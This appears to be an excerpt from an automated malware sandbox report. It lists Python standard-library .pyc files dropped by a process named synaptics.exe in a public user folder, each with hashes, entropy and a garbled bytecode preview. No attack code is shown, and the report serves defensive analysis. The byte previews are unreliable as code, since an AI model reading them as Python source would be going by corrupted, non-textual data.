Preview:	o........'-d.a.......................@...sr...d.Z.d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d...Z.d.Z.d.Z.d.Z.g.d...Z.d.g.Z.d.Z.e.d.d.....D.].Z.e...e.....e.e.7.Z.q/[.[.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.d...Z.e.d...Z.e.d...Z.e.d.k.scJ...e.d.e...d...k.smJ...e.d.e...d...k.swJ...d.d...Z.g.d...Z.g.d...Z.d d!..Z.d\d#d$..Z.d%d&..Z d'd(..Z!d)d..Z"d+d,..Z#d-d...Z$d/d0..Z%d1d2..Z&d3d4..Z'd5d6..Z(d7d8..Z)d9d:..Zd;d<..Z+G.d=d>..d>..Z,e,d?..e,_-e,d@dAdBdBdCdD..e,_.e,d.dE..e,_/G.dFdG..dG..Z0e0Z1e0d.d.d...e0_-e0d.dHdI..e0_.e,d.dJ..e0_/G.dKdL..dL..Z2G.dMdN..dNe3..Z4e4Z5[4e2Z6G.dOdP..dP..Z.e.Z7e.d.d.d...e._-e.dAdBdBdC..e._.e,d.dE..e._/G.dQdR..dRe0..Z8e8d.d.d...e8_-e8d.dHdIdAdBdBdC..e8_.e,d.dE..e8_/dSdT..Z9G.dUdV..dVe2..Z:e:.;e,d.....e:_<e:.;e,dAdBdW......e:_-e:.;e,dAdBdW....e:_.e8dXd.d.e:j<dY..Z=z.d.dZl>T.W.n...e?..y.......Y.d.S.w.[.[.[.[.[.[.[=[.[.[.['[([)[%[&[.[*[1[.[.[.[.[ [.[.[9[.[.[.[7[6[![.[+["[$[#[5d.d[l>m.Z...d.S.)]z.Concrete date/time and related types...See http://www.iana.org/time-

C:\Users\Public\QExvbmVOb25l\Lib\pycache\dis.cpython-310.pyc.70518784

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	15669
Entropy (8bit):	5.467710098109918
Encrypted:	false
SSDEEP:	384:CDdon2oDAV888oUZ7tDzEMDfdF6ZSdDz0TxkxVGdAZiVxiEa+0:CDdroM9UfD6ZBkrYAZiVkEa+0
MD5:	95987344454FDBB327A408F80148A2A4
SHA1:	DBA50C88DF77C384A146C87715ADBD5419F1A3A6
SHA-256:	BC6EFF95C4A128D77EDEFFEB35C8339DC88E44D9F10D9EA1BB943AA84708638E
SHA-512:	CB4498AF74814F5B7302C5CA7C739B0DFA01B183010E2C4277F2732F8D581B7E98E5E83FD27EA34F04E05A45436D4356A84E0228E5236A61334D861C2043C415
Malicious:	false
Reputation:	low
Preview:	o........'-dPP.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.T.d.d.l.m.Z...g.d...e...Z.[.e.j.e.j.e.j.e.e.e.f.Z.e.d...Z.d.e.d.f.e.d.f.e.d.f.f.Z.e.d...Z.d.Z.d.d...Z.dVd.d.d...d.d...Z.dVd.d...d.d...Z.d.d.d.d.d.d.d.d.d.d.d...Z.d d!..Z.d"d#..Z.d$d%..Z.d&d'..Z.d.d...d(d)..Z.e.. dd+..Z!d,e!j"_.d-e!j._.d.e!j#_.d/e!j$_.d0e!j%_.d1e!j&_.d2e!j'_.d3e!j(_.d4Z)d5ZG.d6d7..d7e!..Z+d.d8..d9d:..Z,d;d<..Z-d=d>..Z.....dWd?d@..Z/dXd.d...dBdC..Z0d.d.d...dDdE..Z1....dYd.d.dF..dGdH..Z2dIdJ..Z3e0Z4dKdL..Z5dMdN..Z6dOdP..Z7G.dQdR..dR..Z8dSdT..Z9e:dUk...r.e9....d.S.d.S.)Zz0Disassembler of Python byte code into mnemonics......N)...*)...__all__)...code_info..dis..disassemble..distb..disco..findlinestarts..findlabels..show_code..get_instructions..Instruction..Bytecode..FORMAT_VALUE).N....str..repr..ascii..MAKE_FUNCTION)...defaults..kwdefaults..annotationsZ.closurec....................C...s4...z.t.\|.\|.d...}.W.\|.S...t.y.......t.\|.\|.d...}.Y.\|.S.w.).z.Attempts to compile the given source, fir

C:\Users\Public\QExvbmVOb25l\Lib\pycache\enum.cpython-310.pyc.25844768

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	26076
Entropy (8bit):	5.281841752125299
Encrypted:	false
SSDEEP:	384:EXTKNlN1WNI0LUjkGo9dwskW5nW3jj82kV0GVH5sH9LBu0KlGVa+3I:ED0N1BFIdwFJ3XcvVHWBBZ+GVaN
MD5:	7C57048FC0F3C70E0EC8EF78E5A75039
SHA1:	0599D6FF1333F799AF6C9E3A5818B78B44042472
SHA-256:	049500D68CE07950C2312507758D1450E1F58A92B3E9BFD71CBF2C26157AC2D5
SHA-512:	5F1462BD7F2616CD0031547B7955345F85F42925D015708CBF958ECCD53F8B5F3587FF9DB680A52558E1CAF5F374EA0D4CB170B7490DB63EA9CD84A4B69B3001
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.d.l.Z.d.d.l.m.Z.m.Z...g.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e...Z.G.d.d...d...Z.G.d.d...d.e...Z.d.Z.G.d.d...d.e...Z.G.d.d...d.e.d...Z.G.d.d...d.e.e...Z.d.d...Z.G.d.d...d.e...Z.G.d.d...d.e.e...Z.d.d ..Z.d!d"..Z.d#d$..Z.d.S.)%.....N)...MappingProxyType..DynamicClassAttribute)...EnumMeta..Enum..IntEnum..Flag..IntFlag..auto..uniquec....................C...s....t.\|.d...p.t.\|.d...p.t.\|.d...S.).z?. Returns True if obj is a descriptor, False otherwise.. ..__get__..__set__..__delete__)...hasattr)...obj..r.....(C:\Users\Public\QExvbmVOb25l\lib\enum.py.._is_descriptor....s..............r....c....................C...sL...t.\|...d.k.o%\|.d.d.....\|.d.d.........k.o.d.k.n.....o%\|.d...d.k.o%\|.d...d.k.S.).z=. Returns True if a __dunder__ name, False otherwise.. .....N..........Z.__.._.........len....namer....r....r......_is_dunder....s......&...........r....c....................C...sL...t.\|...d.k.o%\|.d...\|.d.......k.o.d.k.n.....o%\|.d.d.

C:\Users\Public\QExvbmVOb25l\Lib\pycache\fnmatch.cpython-310.pyc.55516672

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	4257
Entropy (8bit):	5.6699325806902365
Encrypted:	false
SSDEEP:	96:rZ1NvFl7gPHnHns99V7Ry+/63Tq7Y1qYmWVzHRJwZLaL1iCtiOy9:r1vFl7g/HnsV7g7HzTRbdUV
MD5:	BB53BE48728605E42B055F6A4A417DD8
SHA1:	E389FB3B0FF235A1D0005CC01E486BDCDBE8D346
SHA-256:	35874B2E09D1095038C3A541FFEFBB27452F807ECC95AC1C44AD75C841B6229E
SHA-512:	EA2A66135115ACA2C75EC8A4E1D3618267FCF4EE5FE8C3CCE4FDF7ABACA6FB9C46948CF7841580295EE762D4DE31BE3723C7BD5D2D209CE8E87855DFE222710A
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s\|...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.d.d.l.m.Z...e...j.Z.[.d.d...Z.e.j.d.d.d...d.d.....Z.d.d...Z.d.d...Z.d.d...Z.d.S.).a....Filename matching with shell patterns...fnmatch(FILENAME, PATTERN) matches according to the local convention..fnmatchcase(FILENAME, PATTERN) always takes case in account...The functions operate by translating the pattern into a regular.expression. They cache the compiled regular expressions for speed...The function translate(PATTERN) returns a regular expression.corresponding to PATTERN. (It does not compile it.)......N)...filter..fnmatch..fnmatchcase..translate)...countc....................C...s"...t.j...\|...}.t.j...\|...}.t.\|.\|...S.).a....Test whether FILENAME matches PATTERN... Patterns are Unix shell style:.. * matches everything. ? matches any single character. [seq] matches any character in seq. [!seq] matches any char not in seq.. An initial period in FILENAME is not spec

C:\Users\Public\QExvbmVOb25l\Lib\pycache\functools.cpython-310.pyc.22172448

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	28348
Entropy (8bit):	5.34686521614029
Encrypted:	false
SSDEEP:	768:8oO3KwCQNi3/sZoyIw/kj6N4V9xI8HkXRssPmCzCe/:8o1FQNi30Cj6iV9hHkhsm7me/
MD5:	4AFFB5CA18395D2BFADF605C03A6E355
SHA1:	3C50CE51D055E4D19B55B485C9FB689819BC7F51
SHA-256:	E5D5CAB466D60B6FCF0D2DA5ED3696F17D93CC0C8681BCD297F5F7E62AE8ED02
SHA-512:	9D1854016698F9774933EFE5C060F8836E9432E6A57E7523639FEDB0443CE6F27FE4925E963AD64812038E3256CB30431356D12B8B3FE432898F28D42C041C93
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.Z.g.d...Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.Z.d.Z.e.e.f.d.d...Z.e.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d d!..Z.e.f.d"d#..Z.e.f.d$d%..Z.d&e.f.d'e.f.d(e.f.g.d(e.f.d)e.f.d&e.f.g.d)e.f.d(e.f.d'e.f.g.d'e.f.d&e.f.d)e.f.g.d..Z.d+d,..Z.d-d...Z.z.d.d/l m.Z...W.n...e!y.......Y.n.w.e"..Z#e#f.d0d1..Z$z.d.d2l m$Z$..W.n...e!y.......Y.n.w.G.d3d4..d4..Z%z.d.d5l m%Z%..W.n...e!y.......Y.n.w.G.d6d7..d7e"..Z&d8d9..Z'e.d:g.d;....Z(G.d<d=..d=e)..Ze"..f.e+e,h.e-e.e/f.d>d?..Z0dXdBdC..Z1dDdE..Z2z.d.dFl m2Z2..W.n...e!..y;......Y.n.w.dGdH..Z3dIdJ..Z4dYdLdM..Z5dNdO..Z6dPdQ..Z7dRdS..Z8G.dTdU..dU..Z9e"..Z:G.dVdW..dW..Z;dKS.)ZzEfunctools.py - Tools for working with functions and callable objects.)...update_wrapper..wraps..WRAPPER_ASSIGNMENTS..WRAPPER_UPDATES..total_ordering..cache..cmp_to_key..lru_cache..reduce..partial..partialmethod..singledispatch..si

C:\Users\Public\QExvbmVOb25l\Lib\pycache\genericpath.cpython-310.pyc.21830944

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	3920
Entropy (8bit):	5.173903194720584
Encrypted:	false
SSDEEP:	96:uqsfAs4EvyosntVf4/zsSQ1ow+2U/tAaDKDj51dmvuoZ:Fs4rtKyow8/tjgqWoZ
MD5:	19F3748F57EF10D994F72A07C1E0499C
SHA1:	EB272A2AE0FDFC8B7C8AAE6D598AB520FE37962B
SHA-256:	276CCE8EE5FAB78B2EA97635A1622C5E6817963860BD3531BC5F967E31C88A85
SHA-512:	A0020A5541458120126F4CDAF6534788C64C4F98F7CE89D6A523241EBBFCD581595A18DD9F1AA48184132D758DC7F9A6A5B0C24DACB955CF649378B19F0C2DAA
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.Z.d.d.l.Z.d.d.l.Z.g.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.).z..Path operations common to more than one OS.Do not use directly. The OS specific modules import the appropriate.functions from this module themselves.......N)...commonprefix..exists..getatime..getctime..getmtime..getsize..isdir..isfile..samefile..sameopenfile..samestatc....................C...s*...z.t...\|.....W.d.S...t.t.f.y.......Y.d.S.w.).zDTest whether a path exists. Returns False for broken symbolic linksFT)...os..stat..OSError..ValueError)...path..r...../C:\Users\Public\QExvbmVOb25l\lib\genericpath.pyr........s................r....c....................C....4...z.t...\|...}.W.n...t.t.f.y.......Y.d.S.w.t...\|.j...S.).z%Test whether a path is a regular fileF).r....r....r....r......S_ISREG..st_mode).r......str....r....r....r.........................r....c....................C...r....).z<Return true if

C:\Users\Public\QExvbmVOb25l\Lib\pycache\glob.cpython-310.pyc.70919328

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	5865
Entropy (8bit):	5.142368507125213
Encrypted:	false
SSDEEP:	96:j77f2UQQ4yZswKLQ4yZs9UfK9BCjbAOp280dqZqh3qX0GqQC7xr8HqRRqhBQoSqj:CXQ7ZQLQ7Z6UC7CjbrpteqZqBqX1qQCW
MD5:	A61E70604F2586EB9CA34838D070C522
SHA1:	7F1D9E54D4CDCCB54BB41873ACDCEB9995EB99A6
SHA-256:	E87C90F8983C1D9DD7892F8DF73C9D88F9BC0AFFB9BA6510846CF6415D65DABA
SHA-512:	FC74B66D1FFF971B129A1C797BB9863F2FCFD8738C03B469DAC45E7C0D24F93C29D59781F2C9CB8468DA1AFB5CFDF8C9FDF1F78C71C4A03A0368AA10374D48EA
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.d.d.d.d...d.d...Z.d.d.d.d...d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d d!..Z.e...d"..Z.e...d#..Z.d$d%..Z.d&d'..Z.d(d)..Z.dd+..Z.e.j.e.e.d,d...B.Z d.S.)-z.Filename globbing utility......N)...glob..iglob..escapeF....root_dir..dir_fd..recursivec....................C...s....t.t.\|.\|.\|.\|.d.....S.).ay...Return a list of paths matching a pathname pattern... The pattern may contain simple shell-style wildcards a la. fnmatch. However, unlike fnmatch, filenames starting with a. dot are special cases that are not matched by '' and '?'. patterns... If recursive is true, the pattern '**' will match any files and. zero or more directories and subdirectories.. r....)...listr....)...pathnamer....r....r......r.....(C:\Users\Public\QExvbmVOb25l\lib\glob.pyr........s......r....c....................C...s....t...d.\|.\|.

C:\Users\Public\QExvbmVOb25l\Lib\pycache\hashlib.cpython-310.pyc.25649184

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	6858
Entropy (8bit):	5.6005305335018924
Encrypted:	false
SSDEEP:	96:IdPjhwzUgQUdROKh0WXI7dQia/jy6sxt6iojyyt8NQCcx54bNdO9DF4irm/NMlSV:IRmE5+odQiaryJxtv4OmVP/4X2J4hg0
MD5:	DB04EBAD01D6EB1E78CA9FA15772E3B6
SHA1:	E3E814021BAE488F72BC2A6CC8F51BD45B176029
SHA-256:	45E7DC10D5AACFB29451C4F3311279233794F5EAEE958464540389C06C67E597
SHA-512:	B2E18947803184D12B15CBDC84A0E2F5C959EA1DFE6A846D22FD2BA5379DE3AAF3120197A4044880CE2C775FFD019D125E36082D9552FBE99C4E1F1241162797
Malicious:	false
Reputation:	low
Preview:	o........'-d.).......................@...sl...d.Z.d.Z.e.e...Z.e.e...Z.e.d...Z.i.Z.d.d.h.Z.d.d...Z.d.d...Z.d.d.d...Z.d.d.d...Z.z.d.d.l.Z.e.Z.e.Z.e...e.j...Z.W.n...e.yG......d.Z.e.Z.e.Z.Y.n.w.z.d.d.l.m.Z...W.n..e.yz......d.d.l.m.Z...e.d.d...e.d...D.....Z.e.d.d...e.d...D.....Z.d.d.d...Z.Y.n.w.z.d.d.l.m.Z...W.n...e.y.......Y.n.w.e.D.].Z.z.e.e...e...e.<.W.q...e.y.......d.d.l.Z.e...d.e.....Y.q.w.[.[.[.[.[.[.d.S.).a3...hashlib module - A common interface to many hash functions...new(name, data=b'', *kwargs) - returns a new hash object implementing the. given hash function; initializing the hash. using the given binary data...Named constructor functions are also available, these are faster.than using new(name):..md5(), sha1(), sha224(), sha256(), sha384(), sha512(), blake2b(), blake2s(),.sha3_224, sha3_256, sha3_384, sha3_512, shake_128, and shake_256...More algorithms may be available on your platform but the above are guaranteed

C:\Users\Public\QExvbmVOb25l\Lib\pycache\heapq.cpython-310.pyc.69413440

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	13878
Entropy (8bit):	5.354220422069604
Encrypted:	false
SSDEEP:	192:ynqTYZnQtot7ItafyjjWya/PX1FGRxibJWiTqe0hN2leov+Ugn:ynEYZn0ot7It7j3aX1gRxiM0uN2kk+/n
MD5:	25263BE9F31D3B221CDA1709DA5133E3
SHA1:	5ADC962AB28CD3BA3BCA15A83938219EF1088E29
SHA-256:	04676B577706905227D29ED2A672D792AA9F272C114F487AA0A145D785883129
SHA-512:	C1EDE307577B1611CEF580FCDE0650E288F577A4272DE64B4399418EDAE544450BC9C5C69EBE1F87C602BF79B0AA697A0FE2533DBB97FAA321ECD3E30C02D671
Malicious:	false
Reputation:	low
Preview:	o........'-d.[.......................@...sD...d.Z.d.Z.g.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d.d...d.d...Z.dd d!..Z.dd"d#..Z.z.d$d%l.T.W.n...e.yY......Y.n.w.z.d$d&l.m.Z...W.n...e.yk......Y.n.w.z.d$d'l.m.Z...W.n...e.y}......Y.n.w.z.d$d(l.m.Z...W.n...e.y.......Y.n.w.e.d)k.r.d$d.l.Z.e.e.........d.S.d.S.)+a....Heap queue algorithm (a.k.a. priority queue)...Heaps are arrays for which a[k] <= a[2k+1] and a[k] <= a[2k+2] for.all k, counting elements from 0. For the sake of comparison,.non-existing elements are considered to be infinite. The interesting.property of a heap is that a[0] is always its smallest element...Usage:..heap = [] # creates an empty heap.heappush(heap, item) # pushes a new item on the heap.item = heappop(heap) # pops the smallest item from the heap.item = heap[0] # smallest item on the heap without popping it.heapify(x) # transforms list into a heap, in-place, in linear time

C:\Users\Public\QExvbmVOb25l\Lib\pycache\hmac.cpython-310.pyc.59994432

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	6986
Entropy (8bit):	5.299114930107523
Encrypted:	false
SSDEEP:	192:L+FTSdeLSo3yfjb/3xXrCx5PgT1nxc203AbC:L+FT0eLhyX1K5S1nv0QbC
MD5:	3B8718E9231054E1A9E52CD41A16C5DD
SHA1:	D64AF307C65F741D0FCBE944270B8A2B288A2A38
SHA-256:	A8379736EB3DBA94C7E479F1EC8734536787747C82FF43CABEFEBD3AA7343D2E
SHA-512:	711066D8FB0A259A0068E08793AD7FDEF510934F6E66E180D0D617B6561322181437463E9C8A6F1450EEE4C656E6B9B54C2D4DAC74A1D714E5AF70CBD3D2FBAB
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.Z.d.d.l.Z.z.d.d.l.Z.W.n...e.y.......d.Z.d.Z.d.d.l.m.Z...Y.n.w.e.j.Z.e.e.j...Z.d.d.l.Z.e.d.d...e.d...D.....Z.e.d.d...e.d...D.....Z.d.Z.G.d.d...d...Z.d.d.d...Z.d.d...Z.d.S.).zqHMAC (Keyed-Hashing for Message Authentication) module...Implements the HMAC algorithm as described by RFC 2104.......N)..._compare_digestc....................c..........\|.].}.\|.d.A.V...q.d.S.)..\...N.......0..xr....r.....(C:\Users\Public\QExvbmVOb25l\lib\hmac.py..<genexpr>.............r.........c....................c...r....)..6...Nr....r....r....r....r....r........r....c....................@...sf...e.Z.d.Z.d.Z.d.Z.d.Z.d.d.d...Z.d.d...Z.d.d...Z.e.d.d.....Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...HMACz~RFC 2104 HMAC class. Also complies with RFC 4231... This supports the API for Cryptographic Hash Functions (PEP 247).. .@...)..._hmac.._inner.._outer..block_size..digest_sizeN..c....................C...s....t.\|.t.t.f...s.t.d.t.\|...j.......\|.s.t.d.....t.r<

C:\Users\Public\QExvbmVOb25l\Lib\pycache\hmac.cpython-310.pyc.69412192

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	6986
Entropy (8bit):	5.299114930107523
Encrypted:	false
SSDEEP:	192:L+FTSdeLSo3yfjb/3xXrCx5PgT1nxc203AbC:L+FT0eLhyX1K5S1nv0QbC
MD5:	3B8718E9231054E1A9E52CD41A16C5DD
SHA1:	D64AF307C65F741D0FCBE944270B8A2B288A2A38
SHA-256:	A8379736EB3DBA94C7E479F1EC8734536787747C82FF43CABEFEBD3AA7343D2E
SHA-512:	711066D8FB0A259A0068E08793AD7FDEF510934F6E66E180D0D617B6561322181437463E9C8A6F1450EEE4C656E6B9B54C2D4DAC74A1D714E5AF70CBD3D2FBAB
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.Z.d.d.l.Z.z.d.d.l.Z.W.n...e.y.......d.Z.d.Z.d.d.l.m.Z...Y.n.w.e.j.Z.e.e.j...Z.d.d.l.Z.e.d.d...e.d...D.....Z.e.d.d...e.d...D.....Z.d.Z.G.d.d...d...Z.d.d.d...Z.d.d...Z.d.S.).zqHMAC (Keyed-Hashing for Message Authentication) module...Implements the HMAC algorithm as described by RFC 2104.......N)..._compare_digestc....................c..........\|.].}.\|.d.A.V...q.d.S.)..\...N.......0..xr....r.....(C:\Users\Public\QExvbmVOb25l\lib\hmac.py..<genexpr>.............r.........c....................c...r....)..6...Nr....r....r....r....r....r........r....c....................@...sf...e.Z.d.Z.d.Z.d.Z.d.Z.d.d.d...Z.d.d...Z.d.d...Z.e.d.d.....Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...HMACz~RFC 2104 HMAC class. Also complies with RFC 4231... This supports the API for Cryptographic Hash Functions (PEP 247).. .@...)..._hmac.._inner.._outer..block_size..digest_sizeN..c....................C...s....t.\|.t.t.f...s.t.d.t.\|...j.......\|.s.t.d.....t.r<

C:\Users\Public\QExvbmVOb25l\Lib\pycache\inspect.cpython-310.pyc.70517248

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	85166
Entropy (8bit):	5.490092865884726
Encrypted:	false
SSDEEP:	1536:QRc0NzW1X0tJcqYqOWjXHdV352ox842jTk9VBbL+xSjiN2TjJXTpsWTp5JQVXiG0:QRvtW1o737HdV35KNPKmwHtQVSG82IQk
MD5:	459415DCF56CFBA3FBEC2E1BC729F0AC
SHA1:	2FD76C28D51EFD48F0AF19CEE95EB72BA6422BAC
SHA-256:	180A5BFD31F0499BD160C428C5A0D17ABCD3047BC98D9F8655B3CC1C56B3D5DC
SHA-512:	E2272CBE052000029557473AFC45FB0F91379AA3BC8E4938AB10A611D90A771584D9971BCE5AEFF872A13764058D81F9734EB76DA958557DAFB3DDFF0D0533C9
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.Z.d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...e...Z.e.j.....D.].\.Z.Z.e.e.d.e...<.q^d.Z.d.d.d.d...d.d...Z d.d...Z!d.d...Z"d.d...Z#d.d...Z$d.d...Z%e&e.d...r.d.d...Z'n.d.d...Z'e&e.d...r.d.d...Z(n.d.d...Z(d.d...Z)d d!..Zd"d#..Z+d$d%..Z,d&d'..Z-d(d)..Z.dd+..Z/d,d-..Z0d.d/..Z1d0d1..Z2d2d3..Z3d4d5..Z4d6d7..Z5d8d9..Z6d:d;..Z7d.d<d=..Z8e.d>d?..Z9d@dA..Z:dBdC..Z;d.dD..dEdF..Z<dGdH..Z=dIdJ..Z>dKdL..Z?dMdN..Z@dOdP..ZAdQdR..ZBdSdT..ZCdUdV..ZDd.dWdX..ZEi.ZFi.ZGd.dYdZ..ZHG.d[d\..d\eI..ZJG.d]d^..d^e.jK..ZLd_d`..ZMdadb..ZNG.dcdd..ddeI..ZOG.dedf..df..ZPdgdh..ZQdidj..ZRdkdl..ZSdmdn..ZTd.dodp..ZUe.dqdr..ZVdsdt..ZWe.dudv..ZXdwdx..ZYe.dydz..ZZd{d\|..Z[e.d}d~..Z\d.d...Z]d.d.d...Z^d.d...Z_d.d.d.d.i.i.e`d.d...d.d...d.d...d.d...e^f.d.d...Zae`d.d...d.d...d.d...f.d.d...Zbd.d...Zcd.d...Zdd.d...Zee.d.d...Zfd.d...Zge.d.d...Zhd.d.d...Zid.d...Zje.

C:\Users\Public\QExvbmVOb25l\Lib\pycache\io.cpython-310.pyc.20644048

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	3676
Entropy (8bit):	5.3972600816288
Encrypted:	false
SSDEEP:	48:7jeBVAsKEv1YlurRNZsmi/VA61vWF/3+XIQjC2Ai3QuAXuhgwG8POcGcMzzMfSWI:7UK0iSxOmoWF2vLAy/hy8P7GcmYa7RXn
MD5:	5EC5293CF8812BA369E7F7265F6C7352
SHA1:	6402078F1D345F28998103D56E8C1A393CDC86CD
SHA-256:	771129848349DF76B7EFAC47E985ACF72FA4AD8C735CF99CEED191502807065E
SHA-512:	596D1FFD992710FFD71CD7ACC2284598F978FD988D4CBF7FCD9C0E8ADBA618A9953CB374DB4704D6485B0B3711BA3F661221276B25AFCFA380A0500AC39A0525
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...sH...d.Z.d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d...Z.d.e._.d.Z.d.Z.d.Z.G.d.d...d.e.j.e.j.d...Z.G.d.d...d.e.j.e...Z.G.d.d...d.e.j.e...Z.G.d.d...d.e.j e...Z!e.."e.....e.e.e.e.e.f.D.].Z#e.."e#....que.e.f.D.].Z#e!."e#....q.[#z.d.d.l.m$Z$..W.n...e%y.......Y.d.S.w.e.."e$....d.S.).a....The io module provides the Python interfaces to stream handling. The.builtin open function is defined in this module...At the top of the I/O hierarchy is the abstract base class IOBase. It.defines the basic interface to a stream. Note, however, that there is no.separation between reading and writing to streams; implementations are.allowed to raise an OSError if they do not support a given operation...Extending IOBase is RawIOBase which deals simply with the reading and.writing of raw bytes to a stream. FileIO subclasses RawIOBase to provide.an interface to OS files...BufferedIOBase deals with buffering on a raw

C:\Users\Public\QExvbmVOb25l\Lib\pycache\ipaddress.cpython-310.pyc.74905312

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	61464
Entropy (8bit):	5.306395675246755
Encrypted:	false
SSDEEP:	1536:11qqs3deqQmjuqJqq9qhIOGqaqzIVqOq/sqmqeXWqJqZqoqfqEqNqqBNqzSq2qfe:8amjPaWNFGc81veYm1o4Jg5wLlf8x7LR
MD5:	057B351C81584E9BCED8FC280316481B
SHA1:	748EEFF2FDFEE868D6E0114D0FB5A192D6CE8425
SHA-256:	15D26F6A8541F21624DF312769241FAE55729D524E3D773852692290D836B3D7
SHA-512:	0B415F273302EDA2FA691B81912EBEA499E204740DE301F786FF89D2D9A2335192B9F0B2528BBDAD44BDAECA4E1B9C385266E6E39C340C5DC0E7C255EBB2D965
Malicious:	false
Reputation:	low
Preview:	o........'-d.,.......................@...s....d.Z.d.Z.d.d.l.Z.d.Z.d.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.d...Z.d=d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d ..Z.d!d"..Z.G.d#d$..d$..Z.d.a.e.j.G.d%d&..d&e.....Z.e.j.G.d'd(..d(e.....Z.G.d)d..d..Z.G.d+d,..d,e.e...Z.G.d-d...d.e...Z.G.d/d0..d0e.e...Z.G.d1d2..d2..Z.e.e._.G.d3d4..d4..Z.G.d5d6..d6e.e...Z G.d7d8..d8e ..Z!G.d9d:..d:e.e...Z"G.d;d<..d<..Z#e#e _.d.S.)>z.A fast, lightweight IPv4/IPv6 manipulation library in Python...This library is used to create/poke/manipulate IPv4 and IPv6 addresses.and networks...z.1.0.....N. .......c....................@........e.Z.d.Z.d.Z.d.S.)...AddressValueErrorz%A Value Error related to the address.N....__name__..__module__..__qualname__..__doc__..r....r.....-C:\Users\Public\QExvbmVOb25l\lib\ipaddress.pyr.................r....c....................@...r....)...NetmaskValueErrorz%A Value Error related to the netmask.Nr....r....r....r....r....r........r....r....c................

C:\Users\Public\QExvbmVOb25l\Lib\pycache\keyword.cpython-310.pyc.22172736

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	940
Entropy (8bit):	5.420740346729624
Encrypted:	false
SSDEEP:	24:TBMgKEVTSAvFwzVCI0L67avc0Kb4S0bJB674u:TzVu8wzVmxcZt0bJB65
MD5:	7F3D3B359109464CAF1E0DC4DC506971
SHA1:	EA38967BAAEFE9E5CFA0B651F30B46EB83B56A28
SHA-256:	4F8A4618F7F19F8C489CA8BBB82D97071C77A1203DE5276DA8108A67F0E463F1
SHA-512:	0398FF2617BAA1CAB5E24AECEF00394E98FD6B4CF71ACB535977284252154D288AA75F68FC810A2C3F42ADF2F58489BA76E8F3BBC0F7D847407EC9965A6FEFA4
Malicious:	false
Reputation:	low
